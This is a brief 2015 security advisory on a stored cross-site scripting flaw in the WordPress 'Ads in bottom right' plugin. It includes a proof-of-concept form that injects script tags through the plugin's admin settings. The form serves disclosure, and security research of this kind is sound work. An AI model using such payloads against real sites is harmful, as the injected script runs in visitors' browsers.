WordPress Ads In Bottom Right plugin version 1.0 suffers from a cross site scripting vulnerability.
b09691c8087bfb29e90c996d241158fc983e4dcb030127d0ce63c6d13745a41f
Title: WordPress 'Ads in bottom right' Plugin
Version: 1.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/ads-in-bottom-right/
- https://plugins.svn.wordpress.org/ads-in-bottom-right/
Notified Vendor/WordPress: 2015-06-21
==========================================================
## Plugin description
==========================================================
This plugin allow you show advertising in bottom right, you can put images, flash or any html code which you want.
## Vulnerabilities
==========================================================
Plugin settings vulnerable to XSS attacks.
PoC:
Log in as admin and submit the following form:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=ads-in-bottom-right.php">
<input type="text" name="status_submit" value="2"><br />
<input type="text" name="ads_title" value='"><script>alert(1)</script>'><br />
<input type="text" name="html_code" value="</textarea><script>alert(2)</script>"><br />
<input type="text" name="submit" value="Save setting"><br />
<input type="submit">
</form>
After doing this the injected script will also be executed when loading the main page.
## Solution
==========================================================
No fix available
==========================================================
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.